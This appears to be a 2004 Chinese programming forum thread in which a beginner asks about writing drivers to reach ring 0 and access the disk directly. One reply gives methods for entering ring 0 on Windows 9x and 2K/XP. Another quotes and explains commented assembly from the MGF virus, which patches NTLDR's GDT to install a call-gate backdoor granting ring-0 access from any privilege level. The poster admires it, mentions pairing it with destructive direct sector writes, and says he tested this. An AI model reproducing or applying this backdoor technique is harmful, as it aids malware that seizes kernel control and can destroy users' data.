阅读:1292回复:4
新手报道,问个初级问题!
你好,我今天无意中来到这个陌生的地方, 但是看这里人气还可以,而且有我需要的东西. 特来报道!
我会点VC, BC 问题: 能用BC 或者 VC编写驱动吗? 不管是WDM还是VXD ? 我想在NT 和 WIN9X 下面直接操作硬盘,但是不能进入RING0级 所以来学习如何编写驱动~ 请大家帮帮我~ |
|
|
沙发#
发布于:2004-05-23 22:45
当然可以了,驱动就是做这些应用程序做不了的事情的
|
|
|
板凳#
发布于:2004-05-24 09:15
9X和2K/XP下直接进入RING0的方法,我介绍过很多了,你可以参考下。
9X下由于GDT,LDT,IDT的开放性,所以可以随意通过门来进RING0 2K/XP下需要在ADM下通过PHYSICAL MEMORY来修改GDT,IDT进RING0 或参考MGF病毒的方法,直接修改NTLDR中的GDT表格,使系统启动后自动帮你生成CALLGATE,而可以在任何权限下,直接杀入RING0,嘿嘿。。。。。。 |
|
|
地板#
发布于:2004-05-24 09:20
简单说下MGF病毒所采用的方法,嘿嘿。。。。。。
简单介绍他的RING0方法 ;0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh ;对应于GDT中的 ;0ffffh,0000,9b00h,00cfh,0ffffh,0000,9300h,00cfh ;也是RING0的CS,DS只不过在NTLDR中没有设置访问位 ;.else;_dwFlag ;如果是NTLDR文件,写入CALLGATE ;这里MGF利用;_dwFlag 使_EditFile做很多事 ;dwFlag-----bit 0:0=ntldr, 1=PE;bit 1:0=mem, 1=file;bit 2:0=auto(ansi/unicode), 1=ansi ;所以这里0就是改NTLDR ;lea esi,szGdtData[ebx] ;mov edi,@lpFileMap ;mov ecx,@dwFileSize ;@@: ;inc edi ;push esi ;push edi ;push ecx ;mov ecx,10h ;repz cmpsb ;pop ecx ;pop edi ;pop esi ;loopnz @b ;在NTLDR中以16个字节为单位搜索RING0,CS,DS找到后EDI指向该数据的最后一个字节 ;.if ZERO? ;xor eax,eax ;mov ecx,80h ;@@: ;sub edi,8 ;push edi ;push ecx ;mov ecx,8 ;repz scasb ;pop ecx ;pop edi ;loopnz @b ;在向前的80H的范围内搜索NULL SELECTOR(8个0),其实没有必要,因为找到的SZGDTDATA前面就是了,所以最后EDI就指向NULL SELECTOR .;if ZERO? ;add edi,100h ;lea esi,szCallGate[ebx] ;mov ecx,10h ;rep movsb ;mov edx,dwC3Address[ebx] ;mov word ptr [edi-16],dx ;shr edx,16 ;mov word ptr [edi-10],dx ;在偏移100H处写入CALLGATE和自己的RING0,CS,这里有必要用自己RING0 CS,因为如果用系统的8,SELECTOR虽然也可以,但在直接IO的时候有可能会出现0XE的页故障,也就是说如果加入破坏代码直接读写硬盘扇区,可能会出错,而用自己的RING0,CS,就可以避免出错,对此我也测试过,嘿嘿。。。。。。 add edi,100h,所以在2K/XP中的后门是103H,而在98下是最后一个DESCIPTOR,而且注意dwC3Address是KERNEL32中的指令RET的地址,因为一般KERNEL32总是加载的,很巧妙,我以前是直接把RET指令放到NULL SECLECTOR中,然后CALLGATE指向GDT BASE,因该他这样比我要好,所有的玄妙,只有你用SOFTICE调试才能体会啊,确实值得学习啊。。。。。。。 |
|
|
地下室#
发布于:2004-05-24 19:38
嘿嘿,够黑的!
|
|
|